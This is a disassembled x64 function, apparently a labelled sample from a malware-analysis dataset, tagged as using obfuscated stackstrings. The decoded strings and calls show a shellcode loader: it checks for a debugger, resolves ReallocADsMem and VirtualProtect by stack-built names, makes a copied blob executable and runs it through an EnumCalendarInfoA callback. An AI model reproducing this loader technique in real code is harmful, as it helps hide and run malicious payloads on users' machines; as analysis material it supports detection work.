Function at 0x4079de
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x160], ecx
mov qword [rbp + 0x168], rdx
call fcn.0041ab60
call fcn.004038d0
mov dword [rbp + 0x13c], eax
lea rax, [rbp + 0xb3]
mov rcx, rax
call fcn.00455420
lea rdx, [rbp + 0xb3]
lea rax, [rbp + 0xa0]
mov r8, rdx
lea rdx, str.https:__www.baidu.com_s_ieutf_8
mov rcx, rax
call fcn.0045e540
lea rax, [rbp + 0xb3]
mov rcx, rax
call fcn.00455450
lea rax, [rbp + 0xb4]
mov rcx, rax
call fcn.00455420
lea rdx, [rbp + 0xb4]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str.https:__www.google.com_search_q
mov rcx, rax
call fcn.0045e540
lea rax, [rbp + 0xb4]
mov rcx, rax
call fcn.00455450
lea rax, [rbp + 0xb5]
mov rcx, rax
call fcn.00455420
lea rdx, [rbp + 0xb5]
lea rax, [rbp + 0x80]
mov r8, rdx
lea rdx, str.https:__www.wikipedia.org_w_api.php_actionqueryformatjsonlistsearchsrsearch
mov rcx, rax
call fcn.0045e540
lea rax, [rbp + 0xb5]
mov rcx, rax
call fcn.00455450
lea rax, [rbp + 0xb6]
mov rcx, rax
call fcn.00455420
lea rdx, [rbp + 0xb6]
lea rax, [rbp + 0x70]
mov r8, rdx
lea rdx, str.c:_users_username_Documents_file.txt
mov rcx, rax
call fcn.0045e540
lea rax, [rbp + 0xb6]
mov rcx, rax
call fcn.00455450
lea rax, [rbp + 0xb7]
mov rcx, rax
call fcn.00455420
lea rdx, [rbp + 0xb7]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str._home_user_documents_file.txt
mov rcx, rax
call fcn.0045e540
lea rax, [rbp + 0xb7]
mov rcx, rax
call fcn.00455450
mov word [rbp + 0x40], 0x78
mov word [rbp + 0x42], 0x36
mov word [rbp + 0x44], 0x34
mov word [rbp + 0x46], 0x64
mov word [rbp + 0x48], 0x62
mov word [rbp + 0x4a], 0x67
mov word [rbp + 0x4c], 0x2e
mov word [rbp + 0x4e], 0x65
mov word [rbp + 0x50], 0x78
mov word [rbp + 0x52], 0x65
mov word [rbp + 0x54], 0
lea rax, [rbp + 0x40]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, rax
call fcn.00401609
mov dword [rbp + 0x12c], eax
cmp dword [rbp + 0x12c], 1
jne 0x407bb1
mov ebx, 0
jmp 0x407fbb
call fcn.004016d4
movzx eax, al
mov dword [rbp + 0x128], eax
cmp dword [rbp + 0x128], 0
jne 0x407bd2
mov ebx, 0
jmp 0x407fbb
call fcn.00401709
mov dword [rbp + 0x124], eax
cmp dword [rbp + 0x124], 0
jne 0x407bf0
mov ebx, 0
jmp 0x407fbb
mov dword [rbp + 0x120], 0x40e0e
call fcn.004017a5
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
jne 0x407c1a
mov ebx, 0
jmp 0x407fbb
mov qword [rbp + 0x38], 0
lea rdx, [rbp + 0x38]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.00408159
test eax, eax
je 0x407c42
mov rax, qword [rbp + 0x38]
test rax, rax
jne 0x407c49
mov eax, 1
jmp 0x407c4e
mov eax, 0
test al, al
je 0x407c5c
mov ebx, 1
jmp 0x407fbb
call fcn.00401a8b
mov dword [rbp + 0x114], eax
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
movabs rax, 0x7e5c872c2386c38e
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x38]
lea rcx, [rbp + 0x20]
mov rax, qword [rbp + 0x118]
mov r8, rcx
mov rcx, rax
call fcn.004081d3
test eax, eax
sete al
test al, al
je 0x407cb2
mov ebx, 0
jmp 0x407fbb
call fcn.00401963
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x108], rax
mov byte [rbp + 0x10], 0x4c
mov byte [rbp + 0x11], 0x6f
mov byte [rbp + 0x12], 0x61
mov byte [rbp + 0x13], 0x64
mov byte [rbp + 0x14], 0x4c
mov byte [rbp + 0x15], 0x69
mov byte [rbp + 0x16], 0x62
mov byte [rbp + 0x17], 0x72
mov byte [rbp + 0x18], 0x61
mov byte [rbp + 0x19], 0x72
mov byte [rbp + 0x1a], 0x79
mov byte [rbp + 0x1b], 0x41
mov byte [rbp + 0x1c], 0
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x118]
mov rax, qword [rbp + 0x108]
call rax
mov qword [rbp + 0x100], rax
mov byte [rbp], 0x61
mov byte [rbp + 1], 0x63
mov byte [rbp + 2], 0x74
mov byte [rbp + 3], 0x69
mov byte [rbp + 4], 0x76
mov byte [rbp + 5], 0x65
mov byte [rbp + 6], 0x64
mov byte [rbp + 7], 0x73
mov byte [rbp + 8], 0x2e
mov byte [rbp + 9], 0x64
mov byte [rbp + 0xa], 0x6c
mov byte [rbp + 0xb], 0x6c
mov byte [rbp + 0xc], 0
mov byte [rbp + 0xd], 0
mov rdx, rbp
mov rax, qword [rbp + 0x100]
mov rcx, rdx
call rax
mov qword [rbp + 0xf8], rax
mov byte [rbp - 0x10], 0x55
mov byte [rbp - 0xf], 0x73
mov byte [rbp - 0xe], 0x65
mov byte [rbp - 0xd], 0x72
mov byte [rbp - 0xc], 0x33
mov byte [rbp - 0xb], 0x32
mov byte [rbp - 0xa], 0x2e
mov byte [rbp - 9], 0x64
mov byte [rbp - 8], 0x6c
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x100]
mov rcx, rdx
call rax
mov qword [rbp + 0xf0], rax
call fcn.00401963
mov byte [rbp - 0x20], 0x52
mov byte [rbp - 0x1f], 0x65
mov byte [rbp - 0x1e], 0x61
mov byte [rbp - 0x1d], 0x6c
mov byte [rbp - 0x1c], 0x6c
mov byte [rbp - 0x1b], 0x6f
mov byte [rbp - 0x1a], 0x63
mov byte [rbp - 0x19], 0x41
mov byte [rbp - 0x18], 0x44
mov byte [rbp - 0x17], 0x73
mov byte [rbp - 0x16], 0x4d
mov byte [rbp - 0x15], 0x65
mov byte [rbp - 0x14], 0x6d
mov byte [rbp - 0x13], 0
mov byte [rbp - 0x12], 0
lea rdx, [rbp - 0x20]
mov rcx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x108]
call rax
mov qword [rbp + 0xe8], rax
mov byte [rbp - 0x30], 0x56
mov byte [rbp - 0x2f], 0x69
mov byte [rbp - 0x2e], 0x72
mov byte [rbp - 0x2d], 0x74
mov byte [rbp - 0x2c], 0x75
mov byte [rbp - 0x2b], 0x61
mov byte [rbp - 0x2a], 0x6c
mov byte [rbp - 0x29], 0x50
mov byte [rbp - 0x28], 0x72
mov byte [rbp - 0x27], 0x6f
mov byte [rbp - 0x26], 0x74
mov byte [rbp - 0x25], 0x65
mov byte [rbp - 0x24], 0x63
mov byte [rbp - 0x23], 0x74
mov byte [rbp - 0x22], 0
mov byte [rbp - 0x21], 0
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp + 0x118]
mov rax, qword [rbp + 0x108]
call rax
mov qword [rbp + 0xe0], rax
lea rax, [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll__time64
lea rax, [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll_localtime
mov qword [rbp + 0xd8], rax
call fcn.00401c97
mov dword [rbp + 0xd4], eax
mov eax, dword [rbp + 0x120]
mov edx, eax
lea rcx, [0x00483040]
call fcn.00401756
mov byte [rbp - 0x50], 0x45
mov byte [rbp - 0x4f], 0x6e
mov byte [rbp - 0x4e], 0x75
mov byte [rbp - 0x4d], 0x6d
mov byte [rbp - 0x4c], 0x43
mov byte [rbp - 0x4b], 0x61
mov byte [rbp - 0x4a], 0x6c
mov byte [rbp - 0x49], 0x65
mov byte [rbp - 0x48], 0x6e
mov byte [rbp - 0x47], 0x64
mov byte [rbp - 0x46], 0x61
mov byte [rbp - 0x45], 0x72
mov byte [rbp - 0x44], 0x49
mov byte [rbp - 0x43], 0x6e
mov byte [rbp - 0x42], 0x66
mov byte [rbp - 0x41], 0x6f
mov byte [rbp - 0x40], 0x41
mov byte [rbp - 0x3f], 0
mov byte [rbp - 0x3e], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [rbp + 0x118]
mov rax, qword [rbp + 0x108]
call rax
mov qword [rbp + 0xc8], rax
mov ecx, dword [rbp + 0x120]
mov edx, dword [rbp + 0x120]
mov rax, qword [rbp + 0xe8]
mov r8d, ecx
mov ecx, 0
call rax
mov qword [rbp + 0xc0], rax
call fcn.00401963
call fcn.00401f7f
mov dword [rbp + 0xbc], eax
mov eax, dword [rbp + 0x120]
mov rdx, qword [rbp + 0xc0]
mov r8, rdx
lea rdx, [0x00483040]
mov ecx, eax
call fcn.00401915
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ClipCursor]
call rax
call fcn.00401963
mov edx, dword [rbp + 0x120]
lea r8, [rbp - 0x54]
mov rcx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xe0]
mov r9, r8
mov r8d, 0x40
call rax
mov dword [rbp + 0xb8], eax
cmp dword [rbp + 0xb8], 1
jne 0x407fb6
mov rcx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xc8]
mov r9d, 1
mov r8d, 0xffffffff
mov edx, 0x800
call rax
mov ebx, 0
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.0045eab0
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.0045eab0
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.0045eab0
lea rax, [rbp + 0x90]
mov rcx, rax
call fcn.0045eab0
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.0045eab0
mov eax, ebx
jmp 0x4080c7
add rsp, 0x1c8
pop rbx
pop rbp
ret